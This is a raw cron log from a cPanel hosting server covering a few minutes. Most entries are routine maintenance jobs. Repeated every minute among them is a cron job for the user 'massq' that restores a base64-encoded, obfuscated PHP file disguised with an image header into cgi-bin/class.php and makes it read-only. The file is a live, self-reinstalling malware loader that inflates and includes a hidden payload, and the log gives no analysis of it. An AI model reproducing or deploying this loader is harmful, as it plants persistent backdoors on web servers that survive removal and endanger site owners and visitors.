Sep 11 23:32:01 server CROND[12174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:32:01 server CROND[12175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:33:01 server CROND[12668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:33:01 server CROND[12669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:33:01 server CROND[12670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:34:01 server CROND[13037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:34:01 server CROND[13038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:34:01 server CROND[13039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:35:01 server CROND[13411]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:35:02 server CROND[13412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:35:02 server CROND[13414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:35:02 server CROND[13419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:35:02 server CROND[13420]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:35:02 server CROND[13422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:35:02 server CROND[13423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:35:02 server CROND[13421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:35:02 server CROND[13424]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 23:36:01 server CROND[14235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:36:01 server CROND[14236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:36:01 server CROND[14237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:37:01 server CROND[14609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:37:01 server CROND[14610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:37:01 server CROND[14611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:38:01 server CROND[15076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:38:01 server CROND[15077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:38:01 server CROND[15078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:39:01 server CROND[15444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:39:01 server CROND[15445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:39:01 server CROND[15442]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 23:39:01 server CROND[15443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:40:01 server CROND[15822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:40:01 server CROND[15821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:40:01 server CROND[15820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:40:01 server CROND[15819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:40:01 server CROND[15824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:40:01 server CROND[15823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:40:01 server CROND[15826]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:40:01 server CROND[15825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:41:01 server CROND[16646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:41:01 server CROND[16648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:41:01 server CROND[16647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:42:01 server CROND[17016]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:42:01 server CROND[17017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:42:01 server CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:42:01 server CROND[17018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:43:01 server CROND[17481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:43:01 server CROND[17482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:43:01 server CROND[17483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:44:01 server CROND[17864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:44:01 server CROND[17865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
